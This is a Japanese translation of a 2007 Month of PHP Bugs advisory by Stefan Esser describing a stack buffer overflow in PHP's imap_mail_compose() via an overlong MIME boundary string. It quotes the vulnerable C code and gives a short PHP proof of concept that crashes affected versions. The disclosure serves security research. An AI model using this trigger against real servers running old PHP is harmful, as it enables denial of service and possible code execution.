MOPB-40-2007:PHP imap_mail_compose() Boundary Stack Buffer Overflow Vulnerability

(Last Updated On: 2018年8月16日)

Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。

■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser

■PoCまたは攻撃コード
MOPB-40-2007.phpの予定

■リファレンス
なし

■サマリ
マルチパートのEメールを作成する為に利用されるPHPのimap_mail_compose()関数は、長すぎるバウンダリ文字列が渡されるとスタックバッファがオーバーフローします。これは任意コードの実行を許します。

■影響するバージョン
PHP 4.4.5未満、PHP 5.2.1未満

■詳細情報
imap_mail_compose()関数はtmpと呼ばれる固定のスタックバッファを利用してマルチパートメールを作成します。

PHP_FUNCTION(imap_mail_compose)
{
    ...
    char tmp[8 * MAILTMPLEN], *mystring=NULL, *t=NULL, *tempstring=NULL;

マルチパートメッセージが作成される場合、最初に入力引数からBOUNDARYが読み込まれサイズチェックなしでsprintfによってスタックバッファにコピーされます。

    if (bod && bod->type == TYPEMULTIPART) {

        /* first body part */
            part = bod->nested.part;

        /* find cookie */
            for (param = bod->parameter; param && !cookie; param = param->next) {
                if (!strcmp (param->attribute, "BOUNDARY")) {
                    cookie = param->value;
                }
            }

        /* yucky default */
            if (!cookie) {
                cookie = "-";
            }

        /* for each part */
            do {
                t=tmp;
            /* build cookie */
                sprintf (t, "--%s%s", cookie, CRLF);

これがバッファオーバーフローを許すことは明らかです。

■PoC、攻撃コードまたは再現手順
この脆弱性をテストするには以下のコードを実行します。

< ?php

$envelope["from"]= "joe@example.com";
$envelope["to"]  = "foo@example.com";

$part1["type"] = TYPEMULTIPART;
$part1["subtype"] = "mixed";
$part1["type.parameters"] = array("BOUNDARY" => str_repeat("A",8192));

$part2["type"] = TYPETEXT;
$part2["subtype"] = "plain";
$part2["description"] = "description3";
$part2["contents.data"] = "contents.data3\n\n\n\t";

$body[1] = $part1;
$body[2] = $part2;

imap_mail_compose($envelope, $body);

?>

このPoCはPHPをクラッシュさせるだけです。しかし、コード実行攻撃は通常通りの手法です。攻撃コードは詳細このサイトに追加されます。後ほど確認してください。

■備考
この脆弱性は08/15のスタックバッファオーバーフローの再現です。

投稿者: yohgaki